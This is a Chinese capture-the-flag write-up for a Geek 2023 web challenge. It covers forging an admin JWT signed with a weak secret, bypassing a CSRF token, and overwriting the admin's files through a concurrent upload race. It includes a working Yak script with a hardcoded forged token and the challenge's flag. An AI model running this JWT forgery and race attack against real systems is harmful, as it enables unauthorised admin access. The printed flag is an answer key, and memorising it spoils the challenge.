yaklang
- 关注

@Go0p师傅
该题目源码位于:https://github.com/yaklang/yaklang/tree/geek2023
flag:SYC{75ec9b17-2284-447f-9faa-babccc8f159c}
题目介绍:
管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了
考点:
JWT 越权,并发请求,写脚本能力
过程:
访问靶场地址,发现登录页面
查看网页源码,发现访客密码 123456,发现 api 接口 /flag?pass=
随意使用用户名,a,密码 123456 进行登录尝试
通过后台提示信息可知,有一个管理员用户,获取 flag 的密码是四个文件内容相连,推测存在越权,并且能够覆盖管理员设置的文件,也就是重置密码
先随意上传一个文件同时进行抓包,数据包如下
前端显示,保存文件名的方式应该是 用户名-随机值,猜测需要爆破,碰撞出名为 管理员-随机值 的文件
上传的数据包中,发现了 JWT 进行鉴权以及一个 yak-token 的上传字段,先尝试解析读取 JWT 信息,发现使用了弱密码,用户为 a,使用弱密码进行管理员账户的 JWT Token 伪造
通过 JWT 解析出来的信息,这里我直接使用 yak 生成了,大家也可以找在线网站进行 JWT 的编辑还原
使用修改为 admin 的 Token 继续尝试发包,发现 Forbidden - CSRF token invalid
现在来看看前面提到的 yak-token字段,分析前端 JS 发现有一个 new-csrf-token的接口,在前端每次点击上传文件时,都会先去获取一个新的 csrf-token
可以开始尝试编写脚本,根据上面的思路我们爆破的步骤为,先获取 csrf-token,构造 upload 数据包,文件内容随意,这里使用 1,上传完成后,请求一次 /flag?pass=1111(管理员提示4个文件内容相连)由于定期会清楚缓存文件,所以最好使用并发,这里直接使用 Yakit 序列功能,后面也提供了 yak 代码,大家也可以使用 python 编写代码
Step 1 设置重复发包,并发,提取 token ,供 step 2 中使用
Step 2
Step 3
拖入一个序列组,点击执行
Yak 代码
// cookie 中的 jwt token 已被替换为 admin getToken = func() { raw = `GET /new-csrf-token HTTP/1.1 Host: 127.0.0.1:8089 Cookie: jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.47k0jdPsb9JLdi1kgQxF9Gv4tyCoZ1T5nKZiuODYbbg ` rsp, _ = poc.HTTP(raw, poc.https(false))~ cookie = poc.GetHTTPPacketCookie(rsp, "yak_csrf") _, body = poc.Split(rsp) return cookie, string(body) } // cookie 中的 jwt-token 已经被替换为 admin 用户 postUpload = func(cookie, token) { raw2 = f`POST /upload HTTP/1.1 Host: 127.0.0.1:8089 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Cookie: jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.47k0jdPsb9JLdi1kgQxF9Gv4tyCoZ1T5nKZiuODYbbg; yak_csrf=${cookie}; Expires="Fri%2C+08+Sep+2023+13%3A19%3A34+GMT"; Max-Age=10; HttpOnly=; SameSite=LaxAccept: */* Referer: http://192.168.124.14:8089/upload Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ru;q=0.6 X-Requested-With: XMLHttpRequest Origin: http://192.168.124.14:8089 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIDPlMGmz86uvgyNM Content-Length: 385 ------WebKitFormBoundaryIDPlMGmz86uvgyNM Content-Disposition: form-data; name="filename"; filename="1.zip" Content-Type: text/aa 1 ------WebKitFormBoundaryIDPlMGmz86uvgyNM Content-Disposition: form-data; name="yak-token" ${token} ------WebKitFormBoundaryIDPlMGmz86uvgyNM-- ` _, _ = poc.HTTP(raw2, poc.https(false))~ } getFlag = func() { raw = `GET /flag?pass=1111 HTTP/1.1 Host: 127.0.0.1:8089 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 ` _, _ = poc.HTTP(raw, poc.https(false))~ } synWg = sync.NewSizedWaitGroup(20) for i = 0; i < 500; i++ { synWg.Add() go fn { defer synWg.Done() cookie, token = getToken() postUpload(cookie, token) getFlag() } } synWg.Wait()
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)